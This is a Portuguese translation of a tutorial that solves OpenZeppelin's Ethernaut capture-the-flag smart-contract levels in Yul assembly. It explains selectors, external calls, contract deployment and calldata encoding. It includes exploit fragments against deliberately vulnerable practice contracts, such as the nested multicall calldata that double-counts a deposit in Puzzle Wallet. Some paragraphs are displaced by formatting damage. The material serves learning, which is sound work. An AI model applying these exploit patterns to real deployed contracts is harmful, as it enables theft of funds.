Brincando com Yul (Série de 2 Partes)
Após aprender os fundamentos do Assembly em Solidity na Part 1: Brincando com Yul, vamos agora mergulhar mais fundo! 💪
Vamos resolver os desafios do Ethernaut , escritos pelo OpenZeppelin, inteiramente em Assembly. Usaremos Assembly mais avançado e também aprenderemos sobre exploits de segurança da Ethereum. Além disso, usaremos o Foundry, criado pelo Paradigm, para executar nossos scripts, testes e implantar na testnet (rede de teste) Goerli.
Espero que você aprenda muito ao ler este artigo!
A ideia é que você mesmo experimente os desafios, um por um, e depois de cada desafio, verifique meu repositório para entender a versão Yul. Você verá que, ao longo dos desafios, as mesmas técnicas de Assembly são usadas repetidas vezes, por isso pode ser um pouco monótono depois de algum tempo.
Este artigo não deve ser lido sozinho. Eu apenas escrevi aqui algumas explicações do código para algumas partes difíceis. Portanto, seu primeiro passo deve ser ir para o meu repositório Ethernaut-yul .
Não vou dar explicações detalhadas sobre como resolver cada desafio. A maioria dos desafios é bastante básica e você encontrará muitas explicações se pesquisar on-line. Este tutorial é focado principalmente em Assembly.
O evm.codes é um ótimo site se você não entende o que alguns opcodes fazem.
Assim como na Parte 1, se você tiver alguma dúvida ou problemas para entender o que eu escrevi ou se você quiser apenas conversar → me envie uma mensagem no Twitter 0xteddav.
Primeiro: configure o repositório
Este repo é um mix de Foundry e Hardhat, portanto, também pode ser um bom boilerplate (padrão) para seus projetos futuros (você é bem-vindo 😁).
Instale o Foundry:
https://github.com/foundry-rs/foundry/#installation
Então, execute yarn
para instalar as dependências no package.json.
Copie .env.tmpl
para .env
e digite os valores corretos de sua chave privada e o RPC (Remote Procedure Call, Chamada de Procedimento Remoto) que você vai usar.
Níveis
Cada nível é resolvido pelo forge script
. Você encontrará todos os scripts em script/foundry
.
Você encontrará um template em Level.s.sol
, o qual poderá copiar/colar. Você só precisa de:
- especificar o endereço do nível;
- a rede em que você está trabalhando (seja "local" ou "Goerli");
- mudar a interface do nível em que você está trabalhando.
Se você estiver executando os níveis localmente, precisa executar anvil (ou um nó Hardhat) como fork da Goerli.
$ anvil -f https://rpc.ankr.com/eth_goerli
Então você pode executar o script com:
$ forge script ./script/foundry/XX_LevelName.s.sol
Quando você estiver pronto para realmente enviar as transações on-chain, você "executa" a transmissão adicionando —-broadcast
$ forge script ./script/foundry/XX_LevelName.s.sol --broadcast
Cada script possui uma baseVersion()
onde o nível é resolvido com Solidity e o mesmo código é reescrito em Yul com a função yulVersion()
.
Quando um contrato precisava ser implantado, eu geralmente escrevia a versão Solidity, comentava e reescrevia a versão Yul por baixo.
No diretório de test
você encontrará alguns testes forge que escrevi enquanto trabalhava em alguns níveis, para que algumas vezes, você possa ver qual foi a minha linha de raciocínio. Você pode executar esses testes com:
$ forge test -vvvvv --mt testNameOfTheTest
Vamos agora detalhar como eu resolvi alguns dos níveis!
HelloEthernaut
Não usei Yul para este nível, pois ele foi usado apenas para configurar tudo. Eu poderia voltar a ele se alguém estivesse interessado. Poderia ser divertido analisar a resposta da string no Assembly.
Fallback
Vamos começar com o básico. Precisamos chamar o contribute()
com um valor de 1
.
let dest := sload(instance.slot)
Nós carregamos o endereço da instância que está na variável instance
. Poderíamos descobrir nós mesmos o slot de armazenamento da instance
(você terá que seguir pela cadeia dos contratos-pai dos quais estamos herdando, o que é chato...), mas em Yul podemos facilmente obter esse valor com .slot.
Vamos detalhar como chamamos uma função externa com Yul. Usaremos muito esse mesmo padrão durante os desafios.
mstore(0, "contribute()")
mstore(0, keccak256(0, 12))
Para chamar uma função, precisamos de seu "selector" (seletor). Você pode ler mais sobre ele em Solidity doc. No Solidity faríamos:
bytes4(keccak256(abi.encodePacked("contribute()")))
Primeiro armazenamos, na memória, em 0
a assinatura da função que queremos chamar: contribute()
(observe que o comprimento é 12
). Nossa memória vai ficar assim
0x00 | 0x636f6e7472696275746528290000000000000000000000000000000000000000 |
0x20 | 0x0000000000000000000000000000000000000000000000000000000000000000 |
0x40 | 0x0000000000000000000000000000000000000000000000000000000000000080 |
(Se você não entende o que é “636f6e747269627574652829”, busque “string para hexadecimal” no Google 😁).
Em seguida, criamos um hash para a assinatura com keccak256(0, 12)
e armazenamos o resultado em 0 na memória. Isso sobrescreverá o valor anterior, mas não importa porque não precisaremos dele mais. Agora nossa memória é
0x00 | 0xd7bb99ba2c5adddd21e5297f8f4a22a22e4de232bc63ec1e2ec542e79805202e |
0x20 | 0x0000000000000000000000000000000000000000000000000000000000000000 |
0x40 | 0x0000000000000000000000000000000000000000000000000000000000000080 |
O seletor de função contribute()
será os 4 primeiros bytes de: 0xd7bb99ba
Então, executaremos nossa call. Consulte evm.codes para detalhes sobre os parâmetros do opcode CALL.
let success := call(gas(), dest, 1, 0, 4, 0, 0)
if iszero(success) {
revert(0, 0)
}
dest
é o endereço do contrato que estamos chamando. Passamos para ele uma valor 1
, então dizemos a ele para obter os dados da memória começando em 0
até 4
(nosso seletor de função) e, então, não esperamos um valor de retorno e passamos 0
e 0
. success
será ou 0
ou, 1
dependendo do resultado da chamada. Então, checamos com iszero
e, se a chamada falhar, revertemos.
Acabamos de fazer nossa primeira chamada externa. Isso foi fácil! 🎉
Vamos fazer outro exemplo: uma chamada view
. Mais abaixo no código, você encontrará:
mstore(0, "owner()")
mstore(0, keccak256(0, 7))
success := staticcall(gas(), dest, 0, 4, 0, 0x20)
if iszero(success) {
revert(0, 0)
}
Aqui, chamamos owner()
na instância, mas, desta vez, esperamos um resultado. O resultado ficará armazenado na memória em 0
e terá 32 bytes de comprimento (0x20
). Usamos staticcall
porque esta é uma função view
e não modificará o estado. Mais detalhes… no doc.
Depois, carregamos o valor retornado e verificamos se ele corresponde ao nosso player
. Caso contrário, revertemos:
let owner := mload(0)
if iszero(eq(owner, sload(player.slot))) {
revert(0, 0)
}
CoinFlip (Cara ou coroa)
Este nível não poderia ser resolvido com um script Foundry porque cada chamada para exploit()
precisa ser enviada em uma transação separada. Então, você encontrará o solucionador (solver) em um script Hardhat em script/hardhat/3_CoinFlip.ts
.
Telephone (Telefone)
Este nível introduz um novo padrão: a implantação de um contrato.
Você precisa entender a diferença entre "create code” (código de criação) (ou "código init") e "runtime code” (código de tempo de execução). Você pode encontrar explicações no doc ou neste artigo ou no Stackoverflow.
Queremos implantar nosso contrato TelephoneExploit
. O constructor leva 1 argumento address _telephone
. Os passos são:
- armazenar o código init na memória;
- adicionar o parâmetro constructor;
- chamar o opcode CREATE.
Só podemos acessar o código creation no Solidity. Portanto, teremos:
bytes memory creationCode = type(TelephoneExploit).creationCode;
Isto facilita tudo para nós porque armazena automaticamente o código na memória. Você deve lembrar-se de como os bytes
são armazenados na memória. Vamos supor que não haja mais nada na memória (o que deveria ser o caso, já que não há outra instrução), então nossa memória deveria começar em 0x80
. Eis como isso deve ficar:
0x80 | size of the code |
0xa0 | the code of TelephoneExploit… |
0xc0 | the code of TelephoneExploit… |
0xe0 | … |
Como o creationCode
é o endereço na memória onde começam os dados; como assumimos que os dados são armazenados em 0x80
, deveremos ter creationCode == 0x80
.
Se fizermos mload(creationCode)
(que é igual a mload(0x80)
), isso retornará o tamanho do contrato TelephoneExploit. Logo, o código real começa 32 bytes mais tarde. Então fazemos add(creationCode, 0x20)
:
let contractSize := mload(creationCode)
let contractOffset := add(creationCode, 0x20)
Só precisamos armazenar o argumento do constructor. Isso é armazenado no final do código do contrato. Como conhecemos o tamanho do contrato, basta adicioná-lo ao início do código do contrato. O endereço para _telephone
deve ser o endereço da instance
e, então, usamos sload(instance.slot)
.
let offsetConstructorArg := add(contractOffset, contractSize)
mstore(offsetConstructorArg, sload(instance.slot))
E então, apenas precisamos usar CREATE e nosso contrato está implantado! 🎉
let telephoneExploit := create(0, contractOffset, mload(creationCode))
Você também observou a função getOwner()
. Nossa primeira função no Yul. Muito legal!
function getOwner(_contract) -> _owner {
mstore(0, "owner()")
mstore(0, keccak256(0, 7))
let success := staticcall(gas(), _contract, 0, 4, 0, 0x20)
if iszero(success) {
revert(0, 0)
}
_owner := mload(0)
}
Infelizmente, as funções Yul só podem ser utilizadas no mesmo bloco assembly
em que foram definidas. Portanto, não as usaremos em demasia porque teremos que reescrevê-las de qualquer forma.
Token
Vamos ver como podemos chamar uma função com um parâmetro e obter um resultado de volta.
mstore(0, "balanceOf(address)")
mstore(0, keccak256(0, 18))
mstore(0x4, sload(player.slot))
pop(staticcall(gas(), token, 0, 0x24, 0, 0x20))
let startBalance := mload(0)
Como você já viu antes: temos o seletor para balanceOf(address)
, mas, desta vez, vamos acrescentar um argumento. Nós fazemos mstore(0x4, sload(player.slot))
. Armazenamos o endereço do player no offset 4
. Portanto, os 4 primeiros bytes serão o seletor de função e os 32 bytes seguintes representarão o endereço. Por exemplo, digamos que o endereço seja 0x7c019b7834722f69771cd4e821afc8e717baaab5.
Os dados serão:
0x70a082310000000000000000000000007c019b7834722f69771cd4e821afc8e717baaab5
E seu comprimento será 36 bytes (0x24
).
Observe que usamos pop
porque não queremos checar se a chamada foi bem sucedida ou não. Se não fosse bem sucedida, a transação seria revertida de qualquer forma em algum momento e fracassaríamos no desafio. Mas, na produção, você deve sempre verificar se a chamada foi bem sucedida ou não!
King (Rei)
Vamos tentar algo novo: reverter com uma string. Verifique contracts/9_King.sol
.
Você vai encontrar aqui e aqui explicações sobre como funcionam os erros em Solidity. Assim como as funções, os erros também têm seletores. O seletor para uma string erro é Error(string)
. Portanto, precisamos tê-lo, armazená-lo na memória e depois armazenar nossa string. Fácil!
Armazena o seletor:
mstore(ptr, "Error(string)")
mstore(ptr, keccak256(ptr, 13))
Armazena a string:
mstore(add(ptr, 4), 0x20)
mstore(add(add(ptr, 4), 0x20), 9)
mstore(add(add(ptr, 4), 0x40), "not owner")
Lembre-se de como as strings são tratadas pela EVM (assim como bytes
): primeiro o offset, depois o comprimento da string e, finalmente, a própria string. E então, revertemos com os dados que acabamos de armazenar: revert(ptr, 0x64)
.
Reentrancy (Reentrância)
Não vou fazer muitas explicações, pois é o mesmo processo de antes, mas aqui basta observar que temos que armazenar mais de 1 parâmetro para a função exploit()
. Se tentássemos armazená-los na memória 0
, sobrescreveríamos o ponteiro de memória livre em 0x40, o que levaria a um comportamento perigoso e provavelmente nossa transação falharia. Em vez disso, armazenamos nossos dados na memória onde temos espaço disponível → para onde o ponteiro de memória livre nos aponta.
Observe que, no nível anterior (King), quando armazenamos nossa string erro, nós sobrescrevemos o ponteiro de memória livre. Mas não nos importamos, já que paramos a execução e revertemos logo em seguida.
Privacy (Privacidade)
Neste nível, precisamos de um bytes16
, mas você sabe que os valores são armazenados em 32 bytes na EVM, então precisamos de uma bitmask para apagar alguns dos bytes. Os bytes
são armazenados em bytes higher-order (alinhados à esquerda). Portanto, se quisermos os 16 primeiros bytes, precisamos criar uma mask (máscara) que se pareça com esta:
0xffffffffffffffffffffffffffffffff00000000000000000000000000000000
let mask := shl(128, sub(exp(2, 128), 1))
Que é 2**128 - 1 << 128
.
Então, só precisamos aplicar nossa máscara: let key := and(data2, mask)
.
Preservation (Preservação)
Em contracts/16_Preservation.sol
temos uma bitmask (máscara de bits) para um endereço. Um endereço na Ethereum tem 20 bytes (160 bits). Assim, nossa máscara será 2 ** 160 - 1 → sub(exp(2, 160), 1)
.
Recovery (Recuperação)
Computamos o endereço onde o contrato será implantado.
address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(instance), nonce)))))
Você encontrará algumas explicações sobre isso aqui e aqui.
No Foundry há um cheatcode (código de trapaça) conveniente para isso: computeCreateAddress.
MagicNumber
Aqui você pode ver claramente a diferença entre código creation (de criação) e código de tempo de execução sobre o qual falamos anteriormente. O código de tempo de execução é o código que será retornado pelo constructor do contrato.
constructor(bytes memory bytecode) {
assembly {
return(add(bytecode, 0x20), mload(bytecode))
}
}
Passamos no bytecode
o que eventualmente queremos que o código de tempo de execução seja e só precisamos retorná-lo do constructor. Nosso código de tempo de execução será 602a60005260206000f3
, que é traduzido para:
PUSH1 42
PUSH1 0
MSTORE
PUSH1 32
PUSH1 0
RETURN
Puzzle Wallet
Uau! Este aqui é um pouco mais avançado. Mais chamadas externas do que o normal e muitos bytes sendo codificados 😱. Então, vou tentar lhe dar algumas explicações.
Vamos pensar sobre o que queremos codificar:
→ chame multicall(bytes[])
com:
- uma chamada para
deposit()
; - outra chamada para
multicall(bytes[])
;- uma subchamada para
deposit()
.
- uma subchamada para
Então, como nossos dados de chamada vão ficar?
Em Solidity, os bytes são codificados em três partes em calldata:
- Um offset onde o comprimento dos bytes pode ser encontrado.
- No offset especificado no passo 1, o comprimento dos bytes é armazenado.
- Em seguida, ao offset do passo 1, adicionamos 0x20 e é onde os bytes reais são armazenados.
Esta codificação é usada para permitir que a EVM leia eficientemente o comprimento dos bytes que estão sendo passados como argumentos em uma chamada de função, sem a necessidade de analisar os dados completos.
Um exemplo rápido como um lembrete?
function myFunction(uint256 myUint, bytes memory myBytes, uint256 myOtherUint) public {}
Digamos que queremos chamar esta função com os seguintes valores:
myUint: 123
myBytes: 0xabcdef
myOtherUint: 456
Eis como os dados de chamada seriam codificados:
- O seletor de função:
bytes4(keccak256(abi.encodePacked("myFunction(uint256,bytes,uint256)"))) → 0xe329087e
- O primeiro parâmetro (myUint):
000000000000000000000000000000000000000000000000000000000000007b
- O segundo parâmetro (myBytes):
- O offset onde encontraremos o comprimento:
000000000000000000000000000000000000000000000000000000000000001c
- Neste offset, o comprimento de bytes:
0000000000000000000000000000000000000000000000000000000000000003
- No offset + 0x20, os bytes reais:
abcdef0000000000000000000000000000000000000000000000000000000000
- O offset onde encontraremos o comprimento:
- O terceiro parâmetro (myOtherUint):
00000000000000000000000000000000000000000000000000000000000001c8
Considerando tudo isso, os dados de chamada resultantes seriam:
0xe329087e
000000000000000000000000000000000000000000000000000000000000007b
0000000000000000000000000000000000000000000000000000000000000060
00000000000000000000000000000000000000000000000000000000000001c8
0000000000000000000000000000000000000000000000000000000000000003
abcdef0000000000000000000000000000000000000000000000000000000000
Agora, vamos às coisas mais complexas: nosso multicall(bytes[])
.
Vamos começar com a primeira chamada deposit()
.
function multicall(bytes[] calldata data) external {}
function deposit() external {}
O seletor de função para multicall(bytes[]): bytes4(keccak256(abi.encodePacked("multicall(bytes[])"))) → 0xac9650d8
.
O seletor de função deposit(): bytes4(keccak256(abi.encodePacked("deposit()"))) → 0xd0e30db0
.
Para arrays, a codificação dos dados de chamada é semelhante aos bytes
, exceto que primeiro precisamos armazenar o comprimento do array. Assim, nossos dados de chamada ficarão assim:
- seletor de função
- offset onde vamos encontrar o comprimento do array
- comprimento do array
- lista de offsets onde os dados serão encontrados para cada elemento
- dados
Nosso multicall(bytes[])
com deposit()
:
0xac9650d8
0000000000000000000000000000000000000000000000000000000000000020 offset
0000000000000000000000000000000000000000000000000000000000000001 length of array
0000000000000000000000000000000000000000000000000000000000000020 offset of first element of array
0000000000000000000000000000000000000000000000000000000000000004 length of data -> 4 bytes, which is the length of the function selector
d0e30db000000000000000000000000000000000000000000000000000000000 data -> the function selector of `deposit()`
E agora, nossos dados de chamada com tudo:
0x00 | 0xac9650d8 |
0x00 | 0000000000000000000000000000000000000000000000000000000000000020 |
0x20 | 0000000000000000000000000000000000000000000000000000000000000002 |
0x40 | 0000000000000000000000000000000000000000000000000000000000000040 |
0x60 | 0000000000000000000000000000000000000000000000000000000000000080 |
0x80 | 0000000000000000000000000000000000000000000000000000000000000004 |
0xa0 | d0e30db000000000000000000000000000000000000000000000000000000000 |
0xc0 | 00000000000000000000000000000000000000000000000000000000000000a4 |
0xe0 | ac9650d800000000000000000000000000000000000000000000000000000000 |
0x100 | 0000002000000000000000000000000000000000000000000000000000000000 |
0x120 | 0000000100000000000000000000000000000000000000000000000000000000 |
0x140 | 0000002000000000000000000000000000000000000000000000000000000000 |
0xac9650d8
0000000000000000000000000000000000000000000000000000000000000020 offset of array length
0000000000000000000000000000000000000000000000000000000000000002 length of array -> 2
0000000000000000000000000000000000000000000000000000000000000040 offset of 1st element of array: `deposit()` call
0000000000000000000000000000000000000000000000000000000000000080 offset of 2nd element: `multicall(bytes[])` call
0000000000000000000000000000000000000000000000000000000000000004 first element. This is the call to deposit(). We already covered it.
d0e30db000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000a4 second element. This is the inner multicall(). The data size is 0xa4 -> 164 bytes
ac9650d800000000000000000000000000000000000000000000000000000000
0000002000000000000000000000000000000000000000000000000000000000
0000000100000000000000000000000000000000000000000000000000000000
0000002000000000000000000000000000000000000000000000000000000000
00000004d0e30db0000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
Vamos separar os dados da segunda chamada. Esta é apenas mais uma chamada para multicall(bytes[])` e então é fácil de entender.
`
ac9650d8
0000000000000000000000000000000000000000000000000000000000000020 offset
0000000000000000000000000000000000000000000000000000000000000001 length
0000000000000000000000000000000000000000000000000000000000000020 offset of element 1
0000000000000000000000000000000000000000000000000000000000000004 length of data
d0e30db000000000000000000000000000000000000000000000000000000000 data -> function selector for deposit()
00000000000000000000000000000000000000000000000000000000 -> this is just some padding to make sure we have a multiple of 32 bytes
`
Motorbike (Motocicleta)
Apenas um comentário sobre este nível: quando carregamos o exploitSelector, não aplicamos uma máscara a ele. Não nos importamos muito porque, quando formos passá-lo, especificaremos que o comprimento é de 4 bytes. O resto será ignorado. Mas lembre-se de que, se você realmente enviar essa transação, ela será mais cara, porque você estará enviando mais bytes. E os bytes de calldata são caros!
`
mstore(add(fmp, 0x24), 0x40)
mstore(add(fmp, 0x44), 4) // <--- aqui especificamos: "leia apenas os próximos 4 bytes" (o seletor para exploit()
)
mstore(add(fmp, 0x64), exploitSelector) // <-- mas aqui armazenamos todo o hash, não apenas o seletor de 4 bytes
`
DoubleEntryPoint
Outra bitmask para obter somente os 4 bytes do seletor:
`
let selectorMask := shl(224, sub(exp(2, 32), 1))
`
Se você abrir contracts/26_DoubleEntryPoint.sol
, a assinatura da função é function handleTransaction(address user, bytes calldata msgData) external
.
Então msgData
está em calldata. Não foi copiado para a memória, por isso, não podemos usar mload
. Precisamos usar calldataload
em vez disso para carregar os dados.
Podemos, nós mesmos, facilmente calcular o offset onde encontraremos os dados, mas há uma maneira mais fácil: .offset
.
Primeiro obtemos o seletor de funções aplicando a bitmask selectorMask
.
Então, nós precisamos obter o terceiro parâmetro: lembre-se de que a função é delegateTransfer(address to, uint256 value, address origSender)
e só queremos origSender
.
`
let msgSelector := and(calldataload(msgData.offset), selectorMask)
let origSender := calldataload(add(msgData.offset, 0x44))
`
GoodSamaritan (BomSamaritano)
Aqui, revertemos com um erro habitual do Solidity. Nada de especial. Funciona exatamente como os seletores de função.
`
mstore(0, "NotEnoughBalance()")
mstore(0, keccak256(0, 18))
revert(0, 4)
`
GateKeeper 3
Com esta última, já que temos muitas funções externas para chamar, vamos escrever algumas funções Yul. Você já deve ter visto, no nível Telephone, que eu já experimentei funções nos testes (verifique em test/foundry/4_Telephone.t.sol
).
Precisamos fazer algumas chamadas para o contrato gatekeeper: construct0r()
, createTrick()
, getAllowance(uint256)
e enter()
.
Podemos facilmente escrever uma função que apenas crie um hash da assinatura da função para nós e armazene o seletor. Mas, como você sabe, você precisa do comprimento da assinatura da função.
Portanto, vamos primeiro escrever uma função para obter o comprimento de uma string.
`
function getStrLen(_str) -> _length {
for {
let i := 0
} lt(i, 0x20) {
i := add(i, 1)
} {
if iszero(byte(i, _str)) {
break
}
_length := add(_length, 1)
}
}
0,` significa que estamos no final da string, então retornamos o comprimento. Tenha cuidado: só funciona enquanto a string tiver menos de 32 bytes, mas tudo isso é bom para nós aqui, pois todas as nossas assinaturas de função têm menos de 32 caracteres.
Fácil! Apenas passamos uma string como input, e serão feitos loops com ela enquanto houver um char (caractere). Se ele encontrar um
Em seguida, podemos criar um hash para esta string e armazenar o resultado na memória:
`
function hashSelector(_sig) {
mstore(0, _sig)
mstore(0, keccak256(0, getStrLen(_sig)))
}
De novo, bem simples. Finalmente, podemos simplesmente fazer nossa chamada:
function callExternal(_address, _sig, _param) {
hashSelector(_sig)
let calldataLen := 4
if iszero(iszero(_param)) {
mstore(4, _param)
calldataLen := 0x24
}
let _success := call(gas(), _address, 0, 0, calldataLen, 0, 0)
if iszero(_success) {
revert(0, 0)
}
}
getAllowance` leva um parâmetro, acrescentamos uma declaração if para armazenar esse parâmetro e aumentar o tamanho dos dados de chamada que serão enviados.
Como
🔥 A propósito, algo engraçado sobre esse nível. Ao resolvê-lo, descobri um pequeno bug no Foundry, para o qual eu abri uma questão e, finalmente, decidi resolvê-la eu mesmo e submeti um PR. Você pode ler mais sobre isso no meu tweet e o artigo relacionado no dev.to.
E… Terminamos !!! 😍
Conclusão
Isso é tudo! Espero que tenham se divertido resolvendo os desafios do Ethernaut e que tenha gostado desta pequena caminhada e aprendido muito sobre Assembly!
Mais uma vez, se você não tiver entendido alguma coisa ou se eu cometi um erro, pode me contatar no Twitter: 0xteddav ❤️.
Esse artigo foi escrito por teddav e traduzido por Fátima Lima. O original pode ser lido aqui.
Top comments (0)